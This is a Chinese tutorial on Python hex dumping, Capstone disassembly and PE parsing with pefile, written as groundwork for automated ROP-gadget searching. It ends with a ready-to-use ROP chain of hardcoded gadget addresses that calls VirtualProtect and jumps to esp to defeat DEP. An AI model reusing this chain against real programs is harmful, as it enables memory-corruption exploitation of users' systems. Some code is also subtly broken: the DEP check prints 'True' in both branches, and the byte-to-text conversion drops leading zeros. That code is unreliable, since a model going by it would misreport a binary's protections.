Python进制转换与反汇编实现流程介绍

Bea ·

更新时间:2024-11-14

· 1105 次阅读

通过利用反汇编库，并使用python编写工具，读取PE结构中的基地址偏移地址，找到OEP并计算成FOA文件偏移，使用反汇编库对其进行反汇编，并从反汇编代码里查找事先准备好的ROP绕过代码，让其自动完成搜索，这里给出实现思路与部分代码片段。

十六进制转换器可自行添加上，文件与偏移对应关系，即可实现指定位置的数据转换，这里给出坑爹版实现，自己晚膳吧。

#coding:utf-8
import os,sys
import binascii
# binascii.a2b_hex("4d")
if __name__ == "__main__":
    count = 0
    size = os.path.getsize("qq.exe")
    print("文件指针: {}".format(size))
    fp = open("qq.exe","rb")
    lis = []
    for item in range(500):
        char = fp.read(1)
        count = count + 1
        if count % 16 == 0:
            if ord(char) < 16:
                print("0" + hex(ord(char))[2:])
            else:
                print(hex(ord(char))[2:])
        else:
            if ord(char) < 16:
                print("0" + hex(ord(char))[2:] + " ",end="")
            else:
                print(hex(ord(char))[2:] + " ",end="")

二进制与字符串互转

import os
def to_ascii(h):
    list_s = []
    for i in range(0, len(h), 2):
        list_s.append(chr(int(h[i:i+2], 16)))
    return ''.join(list_s)
def to_hex(s):
    list_h = []
    for c in s:
        list_h.append(hex(ord(c))[2:])
    return ''.join(list_h)
with open("d://run.exe","rb") as fp:
    lis = []
    for x in range(10240):
        for i in range(64):
            char = fp.read(1)
            print(to_ascii(hex(ord(char))[2:]),end="")
        print("")

反汇编框架

import os
from capstone import *
CODE = b"\x55\x8b\xec\x6a\x00\xff\x15\x44\x30\x11\x00"
md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(CODE, 0x1000):
    print("大小: %3s 地址: %-5s 指令: %-7s 操作数: %-10s"% (i.size,i.address,i.mnemonic,i.op_str))
print("*" * 100)
CODE64 = b"\x55\x48\x8b\x05\xb8\x13\x00\x00\xe9\xea\xbe\xad\xde\xff\x25\x23\x01\x00\x00\xe8\xdf\xbe\xad\xde\x74\xff"
md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(CODE64, 0x1000):
    print("大小: %3s 地址: %-5s 指令: %-7s 操作数: %-10s"% (i.size,i.address,i.mnemonic,i.op_str))

读取pE结构的代码读取导入导出表，用Python 实在太没意思了，请看C/C++ 实现PE解析工具笔记。

def ScanImport(filename):
    pe = pefile.PE(filename)
    print("-" * 100)
    try:
        for x in pe.DIRECTORY_ENTRY_IMPORT:
            for y in x.imports:
                print("[*] 模块名称: %-20s 导入函数: %-14s" %((x.dll).decode("utf-8"),(y.name).decode("utf-8")))
    except Exception:
        pass
    print("-" * 100)
def ScanExport(filename):
    pe = pefile.PE(filename)
    print("-" * 100)
    try:
        for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
            print("[*] 导出序号: %-5s 模块地址: %-20s 模块名称: %-15s" 
            %(exp.ordinal,hex(pe.OPTIONAL_HEADER.ImageBase + exp.address),(exp.name).decode("utf-8")))
    except:
        pass
    print("-" * 100)

验证DEP+ASLR

    # 随机基址 => hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x40 == 0x40
    if( (pe.OPTIONAL_HEADER.DllCharacteristics & 64)==64 ):
        print("基址随机化: True")
    else:
        print("基址随机化: False")
    # 数据不可执行 DEP => hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x100 == 0x100
    if( (pe.OPTIONAL_HEADER.DllCharacteristics & 256)==256 ):
        print("DEP保护状态: True")
    else:
        print("DEP保护状态: True")
    # 强制完整性=> hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x80 == 0x80
    if ( (pe.OPTIONAL_HEADER.DllCharacteristics & 128)==128 ):
        print("强制完整性: True")
    else:
        print("强制完整性: False")
    if ( (pe.OPTIONAL_HEADER.DllCharacteristics & 1024)==1024 ):
        print("SEH异常保护: False")
    else:
        print("SEH异常保护: True")

VA转FOA地址

import os
import pefile
def RVA_To_FOA(FilePath):
    pe = pefile.PE(FilePath)
    ImageBase = pe.OPTIONAL_HEADER.ImageBase
    for item in pe.sections:
        if str(item.Name.decode('UTF-8').strip(b'\x00'.decode())) == ".text":
            #print("虚拟地址: 0x%.8X 虚拟大小: 0x%.8X" %(item.VirtualAddress,item.Misc_VirtualSize))
            VirtualAddress = item.VirtualAddress
            VirtualSize = item.Misc_VirtualSize
            ActualOffset = item.PointerToRawData
    StartVA = hex(ImageBase + VirtualAddress)
    StopVA = hex(ImageBase + VirtualAddress + VirtualSize)
    print("[+] 代码段起始地址: {} 结束: {} 实际偏移:{} 长度: {}".format(StartVA,StopVA,ActualOffset,VirtualSize))
    with open(FilePath,"rb") as fp:
        fp.seek(ActualOffset)
        HexCode = fp.read(VirtualSize)
        print(HexCode)
RVA_To_FOA("d://lyshark.exe")

给出一条过保护的ROP链

rop = struct.pack ('<L',0x7c349614)   # ret
rop += struct.pack('<L',0x7c34728e)   # pop eax
rop += struct.pack('<L',0xfffffcdf)   #
rop += struct.pack('<L',0x7c379c10)   # add ebp,eax
rop += struct.pack('<L',0x7c34728e)   # pop eax
rop += struct.pack('<L',0xfffffdff)   # value = 0x201
rop += struct.pack('<L',0x7c353c73)   # neg eax
rop += struct.pack('<L',0x7c34373a)   # pop ebx
rop += struct.pack('<L',0xffffffff)   #
rop += struct.pack('<L',0x7c345255)   # inc ebx
rop += struct.pack('<L',0x7c352174)   # add ebx,eax
rop += struct.pack('<L',0x7c344efe)   # pop edx
rop += struct.pack('<L',0xffffffc0)   # 0x40h
rop += struct.pack('<L',0x7c351eb1)   # neg edx
rop += struct.pack('<L',0x7c36ba51)   # pop ecx
rop += struct.pack('<L',0x7c38f2f4)   # &writetable
rop += struct.pack('<L',0x7c34a490)   # pop edi
rop += struct.pack('<L',0x7c346c0b)   # ret (rop nop)
rop += struct.pack('<L',0x7c352dda)   # pop esi
rop += struct.pack('<L',0x7c3415a2)   # jmp [eax]
rop += struct.pack('<L',0x7c34d060)   # pop eax
rop += struct.pack('<L',0x7c37a151)   # ptr to virtualProtect()
rop += struct.pack('<L',0x625011ed)   # jmp esp

到此这篇关于Python进制转换与反汇编实现流程介绍的文章就介绍到这了,更多相关Python进制转换内容请搜索软件开发网以前的文章或继续浏览下面的相关文章希望大家以后多多支持软件开发网！

反汇编 Python

1024 个赞